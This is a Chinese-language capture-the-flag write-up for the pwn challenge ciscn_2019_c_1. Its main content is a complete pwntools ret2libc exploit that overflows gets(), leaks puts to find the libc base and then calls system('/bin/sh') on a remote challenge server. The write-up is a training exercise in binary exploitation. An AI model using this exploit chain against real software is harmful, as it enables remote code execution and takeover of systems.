ciscn_2019_c_1

---

一、查看文件

file ciscn_2019_c_1查看文件格式：

checksec ciscn_2019_c_1 查看文件保护：

64位，NX与ASLR都开启了，不白给了

二、IDA反编译

我们发现两个主要函数：
main：


encrypt（）：

然而没有发现callsystem后门函数，开了NX需要自己构造ROP链。
基本思路：encrypt()里面的get()可以溢出，栈大小为50h。puts()可以用来泄露libc基址。

发现Get函数存在溢出点offest=0x50+8

我们通过Ropgadget找到pop_rdi_rdi地址：0x400c83

三、代码构建

exp：

from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",26336)
elf=ELF("./ciscn_2019_c_1")
ret=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main_addr=0x400B28
r.recv()
r.sendline("1")
r.recvuntil("encrypted\n")
p=flat("a"*0x58)+p64(ret)+p64(got)+p64(plt)+p64(main_addr)
r.sendline(p)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
print(libcbase)

Libc基址：

继续构建：

from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",26336)
elf=ELF("./ciscn_2019_c_1")
ret=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main_addr=0x400B28
r.recv()
r.sendline(b"1")
r.recvuntil(b"encrypted\n")
p=b"a"*0x58+p64(ret)+p64(got)+p64(plt)+p64(main_addr)
r.sendline(p)
r.recvuntil(b"Ciphertext\n")
r.recvuntil(b"\n")
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
print(libcbase)
r.recv()
r.sendline(b"1")
r.recvuntil(b"encrypted\n")
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
res=0x4006b9
p1=b"a"*0x58+p64(res)+p64(ret)+p64(bin_sh)+p64(sys_addr)
r.sendline(p1)
r.interactive()

这一步之后就可以得到flag了
直接cat flag：

但是我在这里遇到了这样的问题：
timeout: the monitored command dumped core
这时候他不是有很多的选择吗：

我们换个选择试试就可以了

---

总结

真就磨人呐，今天碰见三种不同题型，栓Q了。